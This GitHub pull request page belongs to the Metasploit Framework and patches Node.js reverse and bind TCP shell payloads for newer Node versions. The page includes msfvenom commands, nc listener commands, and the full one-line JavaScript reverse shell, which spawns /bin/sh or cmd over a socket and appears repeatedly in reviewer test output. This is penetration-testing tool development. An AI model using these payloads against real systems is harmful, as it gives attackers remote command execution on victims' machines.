Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Handle missing util.pump in nodejs shell payloads #8825

Merged
merged 2 commits into from
Sep 11, 2017

Conversation

coffeetocode
Copy link
Contributor

Modern NodeJS (since 5.3.0) has removed util.pump in favor of stream.pipe.

On current versions the nodejs tcp shell payloads error out:

$ node --version
v7.10.0
$ msfvenom -p nodejs/shell_reverse_tcp LHOST=127.0.0.1 LPORT=7777 | node
<snip>
TypeError: util.pump is not a function
    at Socket.<anonymous> ([stdin]:1:405)
    at Object.onceWrapper (events.js:293:19)
    at emitNone (events.js:86:13)
    at Socket.emit (events.js:188:7)
    at TCPConnectWrap.afterConnect [as oncomplete] (net.js:1080:10)

With this change, bind and reverse tcp should be tolerant of both new and older versions.

Reference

nodejs/node#2531

Verification Steps**

  • Set up a handler (either exploit/multi/handler or simple nc)
$ nc -l -v 7777
  • Use patched version with various versions of node:
msfvenom -p nodejs/shell_reverse_tcp LHOST=127.0.0.1 LPORT=7777 | node
  • Confirm both old (pre 5.3.0) and new versions of node result in shell, not error.

coffeetocode and others added 2 commits August 12, 2017 20:40
Modern NodeJS (since 5.3.0) has removed util.pump in favor of stream.pipe. 

On current versions the nodejs tcp shell payloads error out:
```
$ node --version
v7.10.0
$ msfvenom -p nodejs/shell_reverse_tcp LHOST=127.0.0.1 LPORT=7777 | node
<snip>
TypeError: util.pump is not a function
    at Socket.<anonymous> ([stdin]:1:405)
    at Object.onceWrapper (events.js:293:19)
    at emitNone (events.js:86:13)
    at Socket.emit (events.js:188:7)
    at TCPConnectWrap.afterConnect [as oncomplete] (net.js:1080:10)
```

With this change, bind and reverse tcp should be tolerant of both new and older versions.

*Reference*
nodejs/node#2531

*Verification steps*

1. Set up a handler (either exploit/multi/handler or simple nc)
```
$ nc -l -v 7777
```

2. Use patched version with various versions of node:
```
msfvenom -p nodejs/shell_reverse_tcp LHOST=127.0.0.1 LPORT=7777 | node
```

3. Confirm both old and new versions of node result in shell, not error.
@sempervictus
Copy link
Contributor

Thank you! Been at the back of my list since June.

@coffeetocode
Copy link
Contributor Author

I've got an exploit module for nodejs I'm planning to submit a pull request for shortly that requires this fix. I'll reference this when I actually submit, but it would be helpful to have this landed so that the exploit module works without requiring that reviewer to pull this patch. Thanks!

@jmartin-tech
Copy link
Contributor

Verified against node version below:

Original payload as
msfvenom -p nodejs/shell_reverse_tcp LHOST=127.0.0.1 LPORT=7777 > node_shell_orig.js
Merged code as
msfvenom -p nodejs/shell_reverse_tcp LHOST=127.0.0.1 LPORT=7777 > node_shell.js

/node_4/node/node --version
v4.8.4
/node_5/node/node --version
v5.12.0
/node_6/node/node --version
v6.11.3
/node_7/node/node --version
v7.10.1
/node_8/node/node --version
v8.4.0

cat node_shell_orig.js | ../nodeTests/node_4/node/node
(node) util.pump is deprecated. Use readableStream.pipe instead.

cat node_shell_orig.js | ../nodeTests/node_5/node/node
(node) util.pump is deprecated. Use readableStream.pipe instead.

cat node_shell_orig.js | ../nodeTests/node_6/node/node
[stdin]:1
 (function(){ var require = global.require || global.process.mainModule.constructor._load; if (!require) return; var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh"; var net = require("net"), cp = require("child_process"), util = require("util"), sh = cp.spawn(cmd, []); var client = this; client.socket = net.connect(7777, "127.0.0.1", function() { client.socket.pipe(sh.stdin); util.pump(sh.stdout, client.socket); util.pump(sh.stderr, client.socket); }); })();
                                                                                                                                                                                                                                                                                                                                                                                                                    ^

TypeError: util.pump is not a function
    at Socket.<anonymous> ([stdin]:1:405)
    at Socket.g (events.js:292:16)
    at emitNone (events.js:86:13)
    at Socket.emit (events.js:185:7)
    at TCPConnectWrap.afterConnect [as oncomplete] (net.js:1073:10)
    
cat node_shell_orig.js | ../nodeTests/node_7/node/node
[stdin]:1
 (function(){ var require = global.require || global.process.mainModule.constructor._load; if (!require) return; var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh"; var net = require("net"), cp = require("child_process"), util = require("util"), sh = cp.spawn(cmd, []); var client = this; client.socket = net.connect(7777, "127.0.0.1", function() { client.socket.pipe(sh.stdin); util.pump(sh.stdout, client.socket); util.pump(sh.stderr, client.socket); }); })();
                                                                                                                                                                                                                                                                                                                                                                                                                    ^

TypeError: util.pump is not a function
    at Socket.<anonymous> ([stdin]:1:405)
    at Object.onceWrapper (events.js:293:19)
    at emitNone (events.js:86:13)
    at Socket.emit (events.js:188:7)
    at TCPConnectWrap.afterConnect [as oncomplete] (net.js:1080:10)
    
cat node_shell_orig.js | ../nodeTests/node_8/node/node
[stdin]:1
 (function(){ var require = global.require || global.process.mainModule.constructor._load; if (!require) return; var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh"; var net = require("net"), cp = require("child_process"), util = require("util"), sh = cp.spawn(cmd, []); var client = this; client.socket = net.connect(7777, "127.0.0.1", function() { client.socket.pipe(sh.stdin); util.pump(sh.stdout, client.socket); util.pump(sh.stderr, client.socket); }); })();
                                                                                                                                                                                                                                                                                                                                                                                                                    ^

TypeError: util.pump is not a function
    at Socket.<anonymous> ([stdin]:1:405)
    at Object.onceWrapper (events.js:314:30)
    at emitNone (events.js:105:13)
    at Socket.emit (events.js:207:7)
    at TCPConnectWrap.afterConnect [as oncomplete] (net.js:1140:10)



cat node_shell.js | ../nodeTests/node_4/node/node
(node) util.pump is deprecated. Use readableStream.pipe instead.

cat node_shell.js | ../nodeTests/node_5/node/node
(node) util.pump is deprecated. Use readableStream.pipe instead.

cat node_shell.js | ../nodeTests/node_6/node/node
cat node_shell.js | ../nodeTests/node_7/node/node
cat node_shell.js | ../nodeTests/node_8/node/node

Shell interactions function as expected.

@jmartin-tech jmartin-tech merged commit 2576439 into rapid7:master Sep 11, 2017
@jmartin-tech
Copy link
Contributor

jmartin-tech commented Sep 11, 2017

Release Notes

Node.js payloads are now compatible with version 5.X and greater.

@tdoan-r7 tdoan-r7 added the rn-fix release notes fix label Sep 27, 2017
jmartin-tech added a commit to jmartin-tech/metasploit-framework that referenced this pull request Oct 11, 2017
fix rapid7#9063 by removing invalid object reference introduced in PR rapid7#8825
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug payload rn-fix release notes fix
Projects
None yet
Development

Successfully merging this pull request may close these issues.

5 participants